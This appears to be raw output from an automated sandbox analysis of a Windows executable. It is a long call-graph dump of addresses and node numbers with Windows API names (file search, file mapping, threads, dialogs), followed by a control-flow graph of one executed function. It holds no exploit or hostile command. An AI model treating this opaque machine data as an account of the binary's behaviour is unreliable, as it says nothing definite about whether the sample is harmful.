29352->29401 29413 d7bf3d 29352->29413 29355 d81a9f 5 API calls 29354->29355 29356 d7f723 29355->29356 29360 d7f74b 29356->29360 29988 d7f826 29356->29988 29359 d7f738 FindClose 29359->29360 29360->29273 29361->29278 29363 d720bc __EH_prolog3 29362->29363 29364 d82815 28 API calls 29363->29364 29365 d720e8 29364->29365 29366 d72193 29365->29366 29367 d956f6 28 API calls 29365->29367 29590 d8026f 29366->29590 29369 d72180 29367->29369 29369->29366 29370 d776e7 30 API calls 29369->29370 29370->29366 29371 d72227 __cftof 29371->29324 29373 d727ec __EH_prolog3 29372->29373 29374 d711dd 28 API calls 29373->29374 29378 d72838 29373->29378 29384 d7298b 29373->29384 29379 d72882 29374->29379 29375 d729a9 29601 d7204b 89 API calls __ehhandler$___std_fs_get_file_attributes_by_handle@8 29375->29601 29377 d752d8 133 API calls 29383 d729f4 29377->29383 29378->29375 29380 d729b6 29378->29380 29394 d7e850 111 API calls 29379->29394 29380->29377 29380->29384 29381 d72a3c 29381->29384 29387 d72a6f 29381->29387 29602 d7204b 89 API calls __ehhandler$___std_fs_get_file_attributes_by_handle@8 29381->29602 29383->29381 29385 d752d8 133 API calls 29383->29385 29384->29328 29385->29383 29386 d728ad 29388 d72986 29386->29388 29389 d72995 29386->29389 29387->29384 29395 d7e850 111 API calls 29387->29395 29391 d72e8b 26 API calls 29388->29391 29390 d72e8b 26 API calls 29389->29390 29390->29378 29391->29384 29392 d752d8 133 API calls 29393 d72ac0 29392->29393 29393->29384 29393->29392 29394->29386 29395->29393 29396->29335 29397->29343 29603 d94300 29398->29603 29402 d752e4 29401->29402 29403 d752e8 29401->29403 29402->29352 29412 d7e850 111 API calls 29403->29412 29404 d752fa 29405 d75315 29404->29405 29406 d75323 29404->29406 29407 d75355 29405->29407 29629 d748aa 118 API calls 2 library calls 29405->29629 29630 d73d9d 131 API calls 3 library calls 29406->29630 29407->29352 29410 d75321 29410->29407 29631 d7344b 89 API calls 29410->29631 29412->29404 29414 d7bf95 29413->29414 29417 d7bfc4 29414->29417 29479 d7c2fd 29414->29479 29729 d8cdb4 135 API calls __EH_prolog3_GS 29414->29729 29415 d7d2e5 29419 d7d331 29415->29419 29420 d7d2ea 29415->29420 29417->29415 29424 d7bfeb 29417->29424 29417->29479 29418 d95734 __ehhandler$___std_fs_get_file_attributes_by_handle@8 5 API calls 29421 d7d327 29418->29421 29419->29479 29801 d8cdb4 135 API calls __EH_prolog3_GS 29419->29801 29420->29479 29800 d7ab88 185 API calls 29420->29800 29421->29352 29424->29479 29632 d77e1b 29424->29632 29426 d7c0c8 29644 d8106b 29426->29644 29430 d7c151 29434 d7c16f 29430->29434 29731 d82095 45 API calls __EH_prolog3_GS 29430->29731 29432 d7c269 29438 d7c29b 29432->29438 29732 d719a9 26 API calls 29432->29732 29433 d7d205 29436 d7c948 29433->29436 29474 d7c743 29433->29474 29461 d7c239 29434->29461 29734 d80ddb 28 API calls 29434->29734 29435 d7c374 29435->29433 29439 d7c3cf 29435->29439 29440 d7c3ea 29435->29440 29451 d7c97a 29436->29451 29767 d719a9 26 API calls 29436->29767 29438->29479 29733 d719a9 26 API calls 29438->29733 29442 d71a66 26 API calls 29439->29442 29455 d7c409 29440->29455 29736 d7b92d 56 API calls __ehhandler$___std_fs_get_file_attributes_by_handle@8 29440->29736 29445 d7c3da 29442->29445 29450 d71a66 26 API calls 29445->29450 29447 d7d276 29447->29479 29799 d719a9 26 API calls 29447->29799 29450->29479 29451->29479 29768 d719a9 26 API calls 29451->29768 29453 d7c33d _wcslen 29735 d7f103 52 API calls 2 library calls 29453->29735 29454 d7c4ea 29654 d7b2ee 29454->29654 29455->29454 29457 d7f711 53 API calls 29455->29457 29467 d7c49b 29457->29467 29460 d7c5c2 29462 d7c7d8 29460->29462 29466 d7c5cf 29460->29466 29461->29432 29461->29435 29745 d82a36 115 API calls 29462->29745 29463 d71a66 26 API calls 29463->29454 29501 d7c62c 29466->29501 29739 d757c0 28 API calls 2 library calls 29466->29739 29467->29463 29470 d7c501 29476 d7c551 29470->29476 29737 d719a9 26 API calls 29470->29737 29472 d7c8f0 29480 d7c9eb 29472->29480 29496 d7c8ff 29472->29496 29473 d7c830 29473->29472 29482 d7c859 29473->29482 29474->29447 29798 d719a9 26 API calls 29474->29798 29476->29479 29738 d719a9 26 API calls 29476->29738 29479->29418 29492 d7c874 29480->29492 29660 d7b345 29480->29660 29481 d7c940 29484 d7ddc7 114 API calls 29481->29484 29485 d7ed0d 49 API calls 29482->29485 29491 d7ca64 29482->29491 29482->29492 29484->29436 29489 d7c8b3 29485->29489 29486 d7ca01 29490 d7ca05 29486->29490 29666 d7b778 29486->29666 29487 d7d1f2 29488 d7ddc7 114 API calls 29487->29488 29488->29433 29489->29492 29747 d7d8b8 29489->29747 29493 d7ddc7 114 API calls 29490->29493 29491->29487 29513 d7cac5 29491->29513 29769 d7e152 29491->29769 29492->29490 29492->29491 29504 d7b345 90 API calls 29492->29504 29493->29474 29496->29481 29766 d7b544 144 API calls __EH_prolog3_GS 29496->29766 29500 d7cb15 29505 d7fd70 28 API calls 29500->29505 29501->29474 29502 d7c77a 29501->29502 29510 d7c781 29501->29510 29740 d7b015 28 API calls 29501->29740 29741 d82a36 115 API calls 29501->29741 29742 d732d2 89 API calls __ehhandler$___std_fs_get_file_attributes_by_handle@8 29501->29742 29743 d7b8ed 89 API calls 29501->29743 29744 d732d2 89 API calls __ehhandler$___std_fs_get_file_attributes_by_handle@8 29502->29744 29507 d7ca5e 29504->29507 29528 d7cb2f 29505->29528 29507->29490 29507->29491 29510->29473 29746 d7ede9 119 API calls __ehhandler$___std_fs_get_file_attributes_by_handle@8 29510->29746 29511 d7cab7 29773 d79653 109 API calls 29511->29773 29696 d7fd70 29513->29696 29514 d7cc21 29515 d7cf27 29514->29515 29516 d7cc76 29514->29516 29520 d7cf50 29515->29520 29521 d7cf39 29515->29521 29544 d7ccb5 29515->29544 29517 d7cd33 29516->29517 29519 d7cc94 29516->29519 29777 d822b9 28 API calls 29517->29777 29523 d7ccd8 29519->29523 29532 d7cca3 29519->29532 29700 d89625 29520->29700 29784 d7d771 29521->29784 29522 d7cd69 29526 d8106b 45 API calls 29522->29526 29523->29544 29776 d7a7a2 142 API calls 29523->29776 29530 d7cd76 29526->29530 29527 d7cf73 29716 d894ea 29527->29716 29528->29514 29774 d7e39d 8 API calls 29528->29774 29778 d7b92d 56 API calls __ehhandler$___std_fs_get_file_attributes_by_handle@8 29530->29778 29775 d732d2 89 API calls __ehhandler$___std_fs_get_file_attributes_by_handle@8 29532->29775 29537 d7cdaf 29538 d7cddd 29537->29538 29539 d7cddf 29537->29539 29540 d7cdcd 29537->29540 29545 d7ce3e 29538->29545 29781 d719a9 26 API calls 29538->29781 29780 d7d3d7 135 API calls __ehhandler$___std_fs_get_file_attributes_by_handle@8 29539->29780 29779 d7a496 119 API calls 29540->29779 29547 d7cf15 29544->29547 29783 d7fd28 5 API calls __ehhandler$___std_fs_get_file_attributes_by_handle@8 29544->29783 29545->29544 29782 d719a9 26 API calls 29545->29782 29550 d7d044 29547->29550 29795 d732d2 89 API calls __ehhandler$___std_fs_get_file_attributes_by_handle@8 29547->29795 29549 d7d115 29724 d7e772 29549->29724 29550->29487 29550->29549 29554 d7d161 29550->29554 29723 d7e8d9 SetEndOfFile 29550->29723 29553 d7d159 29555 d7de50 110 API calls 29553->29555 29554->29487 29556 d7f58b 49 API calls 29554->29556 29555->29554 29557 d7d1d2 29556->29557 29557->29487 29796 d732d2 89 API calls __ehhandler$___std_fs_get_file_attributes_by_handle@8 29557->29796 29559 d7d1e8 29797 d79500 109 API calls __EH_prolog3_GS 29559->29797 29562 d7233e 29561->29562 29566 d72350 29561->29566 29562->29566 29984 d723b0 26 API calls 29562->29984 29563 d71a66 26 API calls 29565 d72369 29563->29565 29985 d72ed0 26 API calls 29565->29985 29566->29563 29568 d72374 29986 d724d9 26 API calls 29568->29986 29585 d7e927 29584->29585 29586 d7e931 29585->29586 29987 d793d7 110 API calls __EH_prolog3_GS 29585->29987 29586->29325 29588->29342 29589->29342 29591 d8028f __cftof 29590->29591 29598 d80152 29591->29598 29594 d71a66 26 API calls 29595 d802b4 29594->29595 29596 d95734 __ehhandler$___std_fs_get_file_attributes_by_handle@8 5 API calls 29595->29596 29597 d802bf 29596->29597 29597->29371 29599 d725a4 26 API calls 29598->29599 29600 d801c7 29599->29600 29600->29594 29601->29384 29602->29387 29604 d9430c __EH_prolog3_GS 29603->29604 29605 d82117 45 API calls 29604->29605 29606 d9432f 29605->29606 29607 d84318 53 API calls 29606->29607 29608 d94342 29607->29608 29609 d86a25 53 API calls 29608->29609 29610 d9434c 29609->29610 29611 d71a66 26 API calls 29610->29611 29612 d9435b 29611->29612 29619 d93ec5 29612->29619 29615 d71a66 26 API calls 29616 d94375 29615->29616 29617 d95787 5 API calls 29616->29617 29618 d88665 29617->29618 29618->29352 29620 d93ed1 __EH_prolog3_GS 29619->29620 29621 d714a7 28 API calls 29620->29621 29622 d93edd 29621->29622 29623 d93572 21 API calls 29622->29623 29624 d93eec 29623->29624 29625 d71a66 26 API calls 29624->29625 29626 d93ef4 29625->29626 29627 d95787 5 API calls 29626->29627 29628 d93ef9 29627->29628 29628->29615 29629->29410 29630->29410 29631->29407 29633 d77e27 __EH_prolog3_GS 29632->29633 29802 d77bfc 29633->29802 29635 d77e6c 29636 d95787 5 API calls 29635->29636 29637 d77ecf 29636->29637 29637->29426 29638 d77e68 29638->29635 29641 d77ed2 29638->29641 29642 d77ebe 29638->29642 29807 d77bd6 30 API calls 29638->29807 29640 d71a66 26 API calls 29640->29635 29641->29642 29808 d7adaa CompareStringW 29641->29808 29642->29640 29653 d81095 29644->29653 29645 d81256 29647 d95734 __ehhandler$___std_fs_get_file_attributes_by_handle@8 5 API calls 29645->29647 29646 d7769f 45 API calls 29648 d81241 29646->29648 29649 d7c11b 29647->29649 29650 d725a4 26 API calls 29648->29650 29649->29434 29730 d82095 45 API calls __EH_prolog3_GS 29649->29730 29651 d8124d 29650->29651 29652 d71a66 26 API calls 29651->29652 29652->29645 29653->29645 29653->29646 29655 d7b303 29654->29655 29656 d7b33b 29655->29656 29846 d79635 89 API calls 29655->29846 29656->29460 29656->29470 29658 d7b333 29847 d7204b 89 API calls __ehhandler$___std_fs_get_file_attributes_by_handle@8 29658->29847 29661 d7b368 29660->29661 29663 d7b39e 29660->29663 29661->29663 29848 d885fd 75 API calls 29661->29848 29663->29486 29664 d7b39a 29664->29663 29849 d732a1 89 API calls __ehhandler$___std_fs_get_file_attributes_by_handle@8 29664->29849 29667 d7b784 __EH_prolog3_GS 29666->29667 29668 d7b8e3 29667->29668 29670 d7d8b8 138 API calls 29667->29670 29669 d95787 5 API calls 29668->29669 29671 d7b8ea 29669->29671 29672 d7b7ef 29670->29672 29671->29492 29672->29668 29850 d79283 109 API calls 29672->29850 29674 d7b817 29675 d7ed0d 49 API calls 29674->29675 29676 d7b81d 29675->29676 29677 d7b838 29676->29677 29678 d7ed1f 49 API calls 29676->29678 29852 d81a27 IsProcessorFeaturePresent SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 29677->29852 29682 d7b827 29678->29682 29680 d7b83e 29680->29668 29853 d7204b 89 API calls __ehhandler$___std_fs_get_file_attributes_by_handle@8 29680->29853 29682->29677 29851 d732a1 89 API calls __ehhandler$___std_fs_get_file_attributes_by_handle@8 29682->29851 29683 d7b850 29684 d77673 28 API calls 29683->29684 29686 d7b859 29684->29686 29690 d7b88d 29686->29690 29854 d7ede9 119 API calls __ehhandler$___std_fs_get_file_attributes_by_handle@8 29686->29854 29687 d7eaf3 54 API calls 29689 d7b8a1 29687->29689 29691 d7d8b8 138 API calls 29689->29691 29690->29687 29692 d7b8c9 29690->29692 29693 d7b8c5 29691->29693 29694 d71a66 26 API calls 29692->29694 29693->29692 29855 d79283 109 API calls 29693->29855 29694->29668 29697 d7fd7e 29696->29697 29699 d7fd88 29696->29699 29698 d956f6 28 API calls 29697->29698 29698->29699 29699->29500 29701 d89639 29700->29701 29702 d8975f 29701->29702 29706 d89644 29701->29706 29704 d9734a std::_Xinvalid_argument RaiseException 29702->29704 29703 d89739 29703->29527 29710 d8970b 29704->29710 29705 d896ed 29705->29703 29709 d8971f 29705->29709 29705->29710 29706->29703 29706->29705 29707 d9d08c ___std_exception_copy 21 API calls 29706->29707 29706->29710 29707->29705 29708 d9734a std::_Xinvalid_argument RaiseException 29714 d897a3 __EH_prolog3 __cftof 29708->29714 29709->29703 29856 d89556 89 API calls 4 library calls 29709->29856 29710->29708 29712 d89896 29712->29527 29713 d9d08c ___std_exception_copy 21 API calls 29713->29714 29714->29712 29714->29713 29857 d79384 89 API calls 29714->29857 29717 d894f3 29716->29717 29718 d8951d 29717->29718 29719 d8951f 29717->29719 29720 d89515 29717->29720 29718->29544 29873 d8abc8 155 API calls 29719->29873 29858 d8b76f 29720->29858 29723->29549 29725 d7e783 29724->29725 29728 d7e792 29724->29728 29726 d7e789 FlushFileBuffers 29725->29726 29725->29728 29726->29728 29727 d7e80f SetFileTime 29727->29553 29728->29727 29729->29417 29730->29430 29731->29434 29732->29438 29733->29479 29734->29453 29735->29461 29736->29455 29737->29476 29738->29479 29739->29501 29740->29501 29741->29501 29742->29501 29743->29501 29744->29510 29745->29510 29746->29473 29748 d7d8c5 29747->29748 29749 d7ed0d 49 API calls 29748->29749 29758 d7d8d7 29749->29758 29750 d7d93e 29751 d7de9a 49 API calls 29750->29751 29755 d7d953 29750->29755 29751->29755 29754 d7eaf3 54 API calls 29757 d7d973 29754->29757 29755->29754 29763 d7d957 29755->29763 29756 d7d8e8 29756->29758 29952 d7d990 125 API calls __EH_prolog3_GS 29756->29952 29759 d7d977 29757->29759 29760 d7d982 29757->29760 29758->29750 29758->29756 29761 d7ed0d 49 API calls 29758->29761 29758->29763 29953 d8846c 61 API calls __ehhandler$___std_fs_get_file_attributes_by_handle@8 29758->29953 29954 d792e6 RaiseException std::_Xinvalid_argument 29758->29954 29764 d7de9a 49 API calls 29759->29764 29762 d7ec63 49 API calls 29760->29762 29761->29758 29762->29763 29763->29492 29764->29763 29766->29481 29767->29451 29768->29479 29770 d7e15b GetFileType 29769->29770 29771 d7caa5 29769->29771 29770->29771 29771->29513 29772 d732d2 89 API calls __ehhandler$___std_fs_get_file_attributes_by_handle@8 29771->29772 29772->29511 29773->29513 29774->29514 29775->29544 29776->29544 29777->29522 29778->29537 29779->29538 29780->29538 29781->29545 29782->29544 29783->29547 29785 d7d77d __EH_prolog3 29784->29785 29786 d711dd 28 API calls 29785->29786 29787 d7d788 29786->29787 29788 d82af9 150 API calls 29787->29788 29794 d7d7b1 29788->29794 29789 d7d804 29791 d7d828 29789->29791 29963 d719a9 26 API calls 29789->29963 29791->29544 29793 d82af9 150 API calls 29793->29794 29794->29789 29794->29793 29955 d82ce5 29794->29955 29795->29550 29796->29559 29797->29487 29798->29447 29799->29479 29800->29479 29801->29479 29809 d7790e 29802->29809 29805 d77c1d 29805->29638 29806 d7790e 47 API calls 29806->29805 29807->29638 29808->29642 29810 d8106b 45 API calls 29809->29810 29828 d77989 _wcslen 29810->29828 29811 d77b1b 29814 d77b4a 29811->29814 29836 d719a9 26 API calls 29811->29836 29812 d95734 __ehhandler$___std_fs_get_file_attributes_by_handle@8 5 API calls 29816 d77bbb 29812->29816 29817 d77b92 29814->29817 29837 d719a9 26 API calls 29814->29837 29816->29805 29816->29806 29817->29812 29818 d82117 45 API calls 29818->29828 29819 d77673 28 API calls 29819->29828 29821 d8106b 45 API calls 29821->29828 29822 d7769f 45 API calls 29822->29828 29823 d71a66 26 API calls 29823->29828 29825 d77bc2 29826 d71a66 26 API calls 29825->29826 29827 d77bc7 29826->29827 29829 d71a66 26 API calls 29827->29829 29828->29811 29828->29818 29828->29819 29828->29821 29828->29822 29828->29823 29828->29825 29830 d71b63 28 API calls 29828->29830 29831 d81a9f 29828->29831 29835 d77bd6 30 API calls 29828->29835 29829->29811 29830->29828 29832 d81ab1 29831->29832 29838 d796e5 29832->29838 29835->29828 29836->29814 29837->29817 29839 d796f1 _wcslen 29838->29839 29842 d790f4 29839->29842 29845 d79137 __cftof 29842->29845 29843 d95734 __ehhandler$___std_fs_get_file_attributes_by_handle@8 5 API calls 29844 d791a9 29843->29844 29844->29828 29845->29843 29846->29658 29847->29656 29848->29664 29849->29663 29850->29674 29851->29677 29852->29680 29853->29683 29854->29690 29855->29692 29856->29703 29857->29714 29874 d897a4 29858->29874 29860 d8b78e __InternalCxxFrameHandler 29862 d8bb9c 29860->29862 29879 d82af9 29860->29879 29890 d87590 29860->29890 29896 d8a008 150 API calls 29860->29896 29897 d8bc05 150 API calls 29860->29897 29898 d877cf 29860->29898 29902 d89a2b 129 API calls 29860->29902 29903 d8c27f 155 API calls 29860->29903 29904 d8a814 129 API calls __InternalCxxFrameHandler 29862->29904 29864 d8bbb5 __InternalCxxFrameHandler 29865 d95734 __ehhandler$___std_fs_get_file_attributes_by_handle@8 5 API calls 29864->29865 29866 d8bbfc 29865->29866 29866->29718 29873->29718 29877 d897b0 __EH_prolog3 __cftof 29874->29877 29875 d89896 29875->29860 29876 d9d08c ___std_exception_copy 21 API calls 29876->29877 29877->29875 29877->29876 29905 d79384 89 API calls 29877->29905 29888 d82b0f __InternalCxxFrameHandler 29879->29888 29880 d82c7f 29881 d82cb3 29880->29881 29906 d82ab0 29880->29906 29883 d82cd4 29881->29883 29912 d782a0 IsProcessorFeaturePresent SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 29881->29912 29913 d873f8 29883->29913 29887 d82c76 29887->29860 29888->29880 29888->29887 29910 d7fe6f 123 API calls __EH_prolog3 29888->29910 29911 d8cdb4 135 API calls __EH_prolog3_GS 29888->29911 29891 d8759c 29890->29891 29892 d875a1 29890->29892 29929 d87628 29891->29929 29894 d875b1 29892->29894 29895 d877cf 113 API calls 29892->29895 29894->29860 29895->29894 29896->29860 29897->29860 29899 d877db ResetEvent ReleaseSemaphore 29898->29899 29900 d87806 29898->29900 29944 d875ed WaitForSingleObject 29899->29944 29900->29860 29902->29860 29903->29860 29904->29864 29905->29877 29907 d82af5 29906->29907 29908 d82ab8 29906->29908 29907->29881 29908->29907 29919 d88618 29908->29919 29910->29888 29911->29888 29912->29883 29914 d873ff 29913->29914 29915 d8741a 29914->29915 29927 d792e6 RaiseException std::_Xinvalid_argument 29914->29927 29917 d8742b SetThreadExecutionState 29915->29917 29928 d792e6 RaiseException std::_Xinvalid_argument 29915->29928 29917->29887 29922 d94231 29919->29922 29923 d860d5 29922->29923 29924 d94248 SendDlgItemMessageW 29923->29924 29925 d90678 PeekMessageW GetMessageW IsDialogMessageW TranslateMessage DispatchMessageW 29924->29925 29926 d88638 29925->29926 29926->29907 29927->29915 29928->29917 29930 d876a1 29929->29930 29934 d87633 29929->29934 29930->29892 29931 d87638 CreateThread 29931->29934 29940 d87760 29931->29940 29933 d87690 SetThreadPriority 29933->29934 29934->29930 29934->29931 29934->29933 29937 d792eb 109 API calls __EH_prolog3_GS 29934->29937 29938 d79500 109 API calls __EH_prolog3_GS 29934->29938 29939 d792e6 RaiseException std::_Xinvalid_argument 29934->29939 29937->29934 29938->29934 29939->29934 29943 d8776e 116 API calls 29940->29943 29942 d87769 29943->29942 29945 d875fe GetLastError 29944->29945 29949 d87624 29944->29949 29950 d792eb 109 API calls __EH_prolog3_GS 29945->29950 29947 d87618 29951 d792e6 RaiseException std::_Xinvalid_argument 29947->29951 29949->29900 29950->29947 29951->29949 29952->29756 29953->29758 29954->29758 29956 d82d18 29955->29956 29957 d82cfe __InternalCxxFrameHandler 29955->29957 29956->29957 29964 d7e948 29956->29964 29959 d82d42 29957->29959 29981 d7fe6f 123 API calls __EH_prolog3 29957->29981 29961 d873f8 2 API calls 29959->29961 29962 d82d47 29961->29962 29962->29794 29963->29791 29965 d7e954 __EH_prolog3_GS 29964->29965 29966 d7e963 29965->29966 29967 d7e976 GetStdHandle 29965->29967 29980 d7e988 29965->29980 29968 d95787 5 API calls 29966->29968 29967->29980 29970 d7eaab 29968->29970 29969 d7e9df WriteFile 29969->29980 29970->29957 29971 d7e9af WriteFile 29972 d7e9ad 29971->29972 29971->29980 29972->29971 29972->29980 29974 d7ea77 29975 d714a7 28 API calls 29974->29975 29976 d7ea84 29975->29976 29983 d79653 109 API calls 29976->29983 29978 d7ea97 29979 d71a66 26 API calls 29978->29979 29979->29966 29980->29966 29980->29969 29980->29971 29980->29972 29980->29974 29982 d79230 111 API calls 29980->29982 29981->29959 29982->29980 29983->29978 29985->29568 29987->29586 29989 d7f835 __EH_prolog3_GS 29988->29989 29990 d7f847 FindFirstFileW 29989->29990 29991 d7f925 FindNextFileW 29989->29991 29994 d7f948 29990->29994 29995 d7f86a 29990->29995 29993 d7f937 GetLastError 29991->29993 29991->29994 29997 d7f90d 29993->29997 29998 d714a7 28 API calls 29994->29998 29996 d8169a 47 API calls 29995->29996 29999 d7f88c 29996->29999 30000 d95787 5 API calls 29997->30000 30001 d7f95f 29998->30001 30002 d7f8ac 29999->30002 30005 d7f89c FindFirstFileW 29999->30005 30006 d7f899 29999->30006 30003 d7f733 30000->30003 30004 d8229d 45 API calls 30001->30004 30011 d7f8e8 30002->30011 30012 d719a9 26 API calls 30002->30012 30003->29359 30003->29360 30007 d7f970 30004->30007 30005->30002 30006->30005 30010 d71a66 26 API calls 30007->30010 30008 d7f902 GetLastError 30008->29997 30010->29997 30011->29994 30011->30008 30012->30011 30014 d7d6e5 30013->30014 30015 d7d70b 30013->30015 30014->30015 30017 d7ec63 49 API calls 30014->30017 30049 d7d89e 30015->30049 30017->30014 30019 d7b231 26 API calls 30020 d7d74c 30019->30020 30021 d71a66 26 API calls 30020->30021 30022 d7d755 30021->30022 30023 d71a66 26 API calls 30022->30023 30024 d7d75e 30023->30024 30025 d95734 __ehhandler$___std_fs_get_file_attributes_by_handle@8 5 API calls 30024->30025 30026 d7b1bf 30025->30026 30026->29290 30033 d8909b 30026->30033 30030 d828bb 30027->30030 30029 d828ed 30031 d7fb8e 118 API calls 30029->30031 30054 d7fb8e 30030->30054 30032 d828f8 30031->30032 30034 d890aa 30033->30034 30035 d874ec 118 API calls 30034->30035 30036 d890b9 30034->30036 30035->30036 30065 d84264 26 API calls 30036->30065 30038 d890e8 30066 d84264 26 API calls 30038->30066 30040 d890f3 30067 d84264 26 API calls 30040->30067 30042 d890fe 30068 d84288 26 API calls 30042->30068 30044 d89132 30045 d72e8b 26 API calls 30044->30045 30046 d8913a 30045->30046 30047 d72e8b 26 API calls 30046->30047 30048 d89142 30047->30048 30050 d7d8a8 30049->30050 30052 d7d714 30049->30052 30053 d7ae77 26 API calls 30050->30053 30052->30019 30053->30052 30055 d7fbbb 30054->30055 30057 d7fbc2 30054->30057 30058 d874ec 30055->30058 30057->30029 30059 d877cf 113 API calls 30058->30059 30060 d87518 ReleaseSemaphore 30059->30060 30061 d87538 30060->30061 30062 d87556 DeleteCriticalSection CloseHandle CloseHandle 30060->30062 30063 d875ed 111 API calls 30061->30063 30062->30057 30064 d87542 CloseHandle 30063->30064 30064->30061 30064->30062 30065->30038 30066->30040 30067->30042 30068->30044 30078 d8eac4 GetDC GetDeviceCaps GetDeviceCaps ReleaseDC 30069->30078 30071 d8eaad 30073 d8eab9 30071->30073 30079 d8eae5 GetDC GetDeviceCaps GetDeviceCaps ReleaseDC 30071->30079 30073->29061 30073->29062 30074->29063 30075->29073 30076->29073 30077->29076 30078->30071 30079->30073 30080->29087 30082 d7e910 110 API calls 30081->30082 30083 d72dc7 30082->30083 30084 d727e0 133 API calls 30083->30084 30087 d72de4 30083->30087 30085 d72dd4 30084->30085 30085->30087 30092 d7204b 89 API calls __ehhandler$___std_fs_get_file_attributes_by_handle@8 30085->30092 30087->29096 30087->29097 30089 d7279b 30088->30089 30091 d72797 30088->30091 30093 d726d2 30089->30093 30091->29102 30092->30087 30094 d726e4 30093->30094 30095 d72721 30093->30095 30096 d752d8 133 API calls 30094->30096 30101 d75767 30095->30101 30099 d72704 30096->30099 30099->30091 30105 d75770 30101->30105 30102 d752d8 133 API calls 30102->30105 30103 d72742 30103->30099 30106 d72c30 30103->30106 30104 d873f8 2 API calls 30104->30105 30105->30102 30105->30103 30105->30104 30107 d72c3c __EH_prolog3_GS 30106->30107 30128 d75365 30107->30128 30109 d72c8f 30119 d72d02 30109->30119 30164 d719a9 26 API calls 30109->30164 30110 d72c5a 30110->30109 30113 d72c86 30110->30113 30114 d72c91 30110->30114 30111 d95787 5 API calls 30112 d72d18 30111->30112 30112->30099 30160 d8888c 28 API calls 30113->30160 30117 d72c9a 30114->30117 30118 d72cb9 30114->30118 30161 d8880e 28 API calls __EH_prolog3 30117->30161 30162 d88707 29 API calls 2 library calls 30118->30162 30119->30111 30121 d72ca7 30123 d725a4 26 API calls 30121->30123 30125 d72caf 30123->30125 30124 d72cd2 30163 d72ed0 26 API calls 30124->30163 30127 d71a66 26 API calls 30125->30127 30127->30109 30129 d75380 30128->30129 30130 d753ae 30129->30130 30131 d753ca 30129->30131 30165 d7204b 89 API calls __ehhandler$___std_fs_get_file_attributes_by_handle@8 30130->30165 30132 d75634 30131->30132 30136 d753f6 30131->30136 30171 d7204b 89 API calls __ehhandler$___std_fs_get_file_attributes_by_handle@8 30132->30171 30135 d753b9 30137 d95734 __ehhandler$___std_fs_get_file_attributes_by_handle@8 5 API calls 30135->30137 30136->30135 30139 d89625 89 API calls 30136->30139 30138 d75659 30137->30138 30138->30110 30145 d75449 30139->30145 30140 d7547b 30141 d7550d 30140->30141 30159 d75472 30140->30159 30168 d82a36 115 API calls 30140->30168 30143 d7fd70 28 API calls 30141->30143 30142 d75477 30142->30140 30167 d7315d 28 API calls 30142->30167 30150 d75520 30143->30150 30144 d75467 30166 d7204b 89 API calls __ehhandler$___std_fs_get_file_attributes_by_handle@8 30144->30166 30145->30140 30145->30142 30145->30144 30147 d8909b 118 API calls 30147->30135 30151 d755b9 30150->30151 30152 d755a9 30150->30152 30154 d894ea 155 API calls 30151->30154 30153 d7d771 155 API calls 30152->30153 30155 d755b7 30153->30155 30154->30155 30169 d7fd28 5 API calls __ehhandler$___std_fs_get_file_attributes_by_handle@8 30155->30169 30157 d755f1 30157->30159 30170 d732d2 89 API calls __ehhandler$___std_fs_get_file_attributes_by_handle@8 30157->30170 30159->30147 30160->30109 30161->30121 30162->30124 30163->30109 30164->30119 30165->30135 30166->30159 30167->30140 30168->30141 30169->30157 30170->30159 30171->30135 30172 da27e0 30173 da27e9 30172->30173 30175 da27f2 30172->30175 30176 da26d7 30173->30176 30177 da0005 _abort 38 API calls 30176->30177 30178 da26e4 30177->30178 30196 da27fe 30178->30196 30180 da26ec 30205 da246b 30180->30205 30183 da2703 30183->30175 30186 da2746 30188 da03d4 _free 20 API calls 30186->30188 30188->30183 30189 da2739 30190 da2741 30189->30190 30193 da275e 30189->30193 30220 da01d3 20 API calls _abort 30190->30220 30192 da278a 30192->30186 30221 da2341 26 API calls 30192->30221 30193->30192 30194 da03d4 _free 20 API calls 30193->30194 30194->30192 30197 da280a ___scrt_is_nonwritable_in_current_image 30196->30197 30198 da0005 _abort 38 API calls 30197->30198 30203 da2814 30198->30203 30200 da2898 _abort 30200->30180 30203->30200 30204 da03d4 _free 20 API calls 30203->30204 30222 d9fc3e 38 API calls _abort 30203->30222 30223 da18e1 EnterCriticalSection 30203->30223 30224 da288f LeaveCriticalSection _abort 30203->30224 30204->30203 30206 d9b543 __fassign 38 API calls 30205->30206 30207 da247d 30206->30207 30208 da249e 30207->30208 30209 da248c GetOEMCP 30207->30209 30210 da24a3 GetACP 30208->30210 30211 da24b5 30208->30211 30209->30211 30210->30211 30211->30183 30212 da040e 30211->30212 30213 da044c 30212->30213 30218 da041c _abort 30212->30218 30226 da01d3 20 API calls _abort 30213->30226 30215 da0437 RtlAllocateHeap 30216 da044a 30215->30216 30215->30218 30216->30186 30219 da28a0 51 API calls 2 library calls 30216->30219 30218->30213 30218->30215 30225 d9e91a 7 API calls 2 library calls 30218->30225 30219->30189 30220->30186 30221->30186 30223->30203 30224->30203 30225->30218 30226->30216 30230 d80b05 30231 d80b17 __cftof 30230->30231 30234 d876e5 30231->30234 30237 d876a7 GetCurrentProcess GetProcessAffinityMask 30234->30237 30238 d80b6f 30237->30238 30239 d94a07 30240 d94910 30239->30240 30241 d94fce ___delayLoadHelper2@8 17 API calls 30240->30241 30241->30240

                                                              Executed Functions

                                                              Function 00D9454A Relevance: 40.5, APIs: 18, Strings: 5, Instructions: 252filesleeptimeCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 502 d9454a-d94612 call d86d7b call d81309 call d8f4d4 call d971f0 call d8f89a call d8f84c GetCommandLineW 515 d946f9-d94722 call d813f9 call d725a4 call d71a66 502->515 516 d94618-d9463c call d714a7 call d919ee call d71a66 502->516 529 d94729-d94831 SetEnvironmentVariableW GetLocalTime call d7f6ba SetEnvironmentVariableW GetModuleHandleW LoadIconW call d907e5 call d83538 call d8d255 * 2 DialogBoxParamW call d8d347 * 2 515->529 530 d94724 515->530 531 d946dc-d946eb call d714a7 call d93efc 516->531 532 d94642-d94659 OpenFileMappingW 516->532 566 d9483a-d94841 529->566 567 d94833-d94834 Sleep 529->567 530->529 544 d946f0-d946f4 call d71a66 531->544 533 d9465b-d94669 MapViewOfFile 532->533 534 d946d2-d946da CloseHandle 532->534 533->534 538 d9466b-d94687 UnmapViewOfFile MapViewOfFile 533->538 534->515 538->534 541 d94689-d946cc call d8fc38 call d93efc call d85109 call d851bf call d851f8 